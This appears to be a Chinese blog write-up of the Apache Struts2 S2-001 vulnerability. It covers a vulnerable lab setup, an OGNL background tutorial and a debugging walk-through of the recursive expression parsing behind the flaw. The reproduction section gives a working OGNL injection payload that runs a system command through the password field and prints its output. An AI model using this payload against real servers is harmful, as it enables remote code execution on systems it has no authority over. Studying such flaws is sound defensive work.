环境搭建
pom.xml中加入
1 2 3 4 5
| <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>2.0.8</version> </dependency>
|
index.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h2>S2-001 Demo</h2> <p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https: <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
|
welcome.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13
| <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
|
struts.xml
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts> <package name="s2-001" extends="struts-default"> <action name="login" class="com.example.s2001.LoginAction"> <result name="success">welcome.jsp</result> <result name="error">index.jsp</result> </action> </package> </struts>
|
web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter>
<filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
<welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list>
</web-app>
|
LoginAction.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.example.s2001;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport { private String username = null; private String password = null;
public String getUsername() { return this.username; }
public String getPassword() { return this.password; }
public void setUsername(String username) { this.username = username; }
public void setPassword(String password) { this.password = password; }
public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; } }
|
访问 http://localhost:8888/s2_001_war_exploded/
漏洞复现
username 随便填,password填poc,注意需要url编码
1 2 3 4 5 6 7 8 9 10 11 12
| %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(), #f.getWriter().close() }
|
效果如下
预备知识-OGNL
s2的很多rce洞都是提交的ognl表达式被服务端解析执行而造成,有必要在之前先作一定的了解。
介绍
OGNL全称是对象视图导航语言(Object-Graph Navigation Language),它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL 的使用
传统的OGNL可以放一个Object到root,放一个Map到values(很多文章都叫它Context)。
获取root、Context的值或执行其内部方法的方式都差不多,唯一的区别就是获取Context下的信息时需要加前缀#key
或@key
(静态变量,静态方法),看下面例子。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| package com.example.ognltest;
import ognl.Ognl; import ognl.OgnlContext; import ognl.OgnlException;
import java.util.HashMap; import java.util.Map;
public class OgnlTest { public static void main(String[] args) throws OgnlException { User.fun1(); } }
class User {
private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } public User(String name) { this.name = name; } public static void fun1() throws OgnlException { User u1 = new User("user1");
Map<String,User> context = new HashMap<String,User>(); context.put("key", new User("user2"));
OgnlContext ognl = new OgnlContext(); ognl.setRoot(u1); ognl.setValues(context);
String rootname = (String) Ognl.getValue("name", ognl, ognl.getRoot()); System.out.println(rootname);
String contextname = (String) Ognl.getValue("#key.name", ognl, ognl.getRoot()); System.out.println(contextname);
Ognl.getValue("name = 'user3'", ognl, ognl.getRoot()); rootname = (String) Ognl.getValue("name", ognl, ognl.getRoot()); System.out.println(rootname);
Ognl.getValue("#key.name = 'user4'", ognl, ognl.getRoot()); contextname = (String) Ognl.getValue("#key.name", ognl, ognl.getRoot()); System.out.println(contextname);
Ognl.getValue("setName('user5')", ognl, ognl.getRoot()); rootname = (String)Ognl.getValue("whoami()", ognl, ognl.getRoot()); System.out.println(rootname);
Ognl.getValue("#key.setName('user6')", ognl, ognl.getRoot()); contextname = (String)Ognl.getValue("#key.whoami()", ognl, ognl.getRoot()); System.out.println(contextname);
String funcreturnvalue = (String) Ognl.getValue("@com.example.ognltest.User@func2()", ognl, ognl.getRoot()); System.out.println(funcreturnvalue);
Double pi = (Double) Ognl.getValue("@java.lang.Math@PI", ognl, ognl.getRoot()); System.out.println(pi);
} public String whoami(){ return "I'm " + this.name; } public static String func2(){ return "Call static method func2"; } }
|
输入结果
1 2 3 4 5 6 7 8
| user1 user2 user3 user4 I'm user5 I'm user6 Call static method func2 3.141592653589793
|
struts2中的OGNL
在Struts2 中有个值栈对象即ValueStack。而说得通俗些,这个值栈就是OgnlContext。ValueStack内部封装了一个CompoundRoot类型的对象作为root属性,CompoundRoot是一个继承ArrayList的栈存储结构。而所有被压入栈中的对象,都会被视为OGNL的Root对象。在使用OGNL计算表达式时,首先会将栈顶元素作为Root对象,进行表达式匹配,匹配不成功则会依次向下匹配,最后返回第一个成功匹配的表达式计算结果。因此,Struts2通过ValueStack实现了多Root对象的OGNL操作。
当你提交一个请求,会为这个请求创建一个和web容器交互的ActionContext,与此同时会创建ValueStack,并置于ActionContext之中。而实例化Action之后,就会将这个action对象压入ValueStack中。在请求“映射”过程中,Struts2则是通过ParametersInterceptor拦截器将提交的参数值封装入对应的Action属性中。因此action实例可以作为OGNL的Root对象,对于Action中的属性、方法都可以使用OGNL来获取。
代码分析
首先是下断点的位置,在自己尝试调试之前,读取了一些前人的文章,他们的断点的位置大部分都在
com/opensymphony/xwork2/interceptor/ParametersInterceptor.class
的doIntercept
方法上面。
琢磨了一下断点打在ParametersInterceptor拦截器这里的好处
- 不用调试tomcat自身的代码,这里下断点已是tomcat已经把“控制权”移交给strust之后了。
- 拦截器只能对action请求起作用,而过滤器则可以对几乎所有的请求起作用(一开始想的是在web.xml中配置的struts2过滤器org.apache.struts2.dispatcher.FilterDispatcher处打断点)
- ParametersInterceptor是拦截器,在这里下断点刚好是在执行业务逻辑之前,并且ParametersInterceptor是struts2的缺省会用到的拦截器之一。
- ParametersInterceptor拦截器的作用是把传来的参数赋值给POJO,所以这里是payload“入侵”的起点。
xx
接下来会进行很多tomcat的内部操作,这里单步跟进IDEA会找不到相应的代码,一开始卡这了,后来看了别人的文章也遇到过这种情况。
文章提到多次步入,复现的时候一直至少跟了几十次步入也没跟到文章所述位置,估计实际搞要点几百次吧,直接定位到rg.apache.struts2.views.jsp.ComponentTagSupport
下断点跳了。
可以看出来这里实际上是解析jsp模版了,先解析的是jsp中username框,后解析的是password框,我们是从password传入的payload所以第一次先跳过。
最终触发点是在doEndTag时的操作,仔细看看
eveluateParams处理传入的参数
默认支持altSyntax,所以会把pssword变成%{password}
当ogln表达式解析。(struts.tag.altSyntax 该属性指定是否允许在Struts 2标签中使用表达式语法,因为通常都需要在标签中使用表达式语法,故此属性应该设置为true,该属性的默认值是true)
跟入addParameter时的findValue
问题处在while True + Stack.findValue造成了对ogln的递归解析
第一次,提取出%{password}内容即payload
第二次,把提出来的payload再次当ognl表达式执行,触发RCE
参考
从零开始学习Struts2 S2-001
【Struts2-命令-代码执行漏洞分析系列】S2-001
IDEA中创建maven项目没有java和resources子文件的解决
OGNL
Struts2学习之OGNL表达式
JSP九大内置对象分析
S2-001调试分析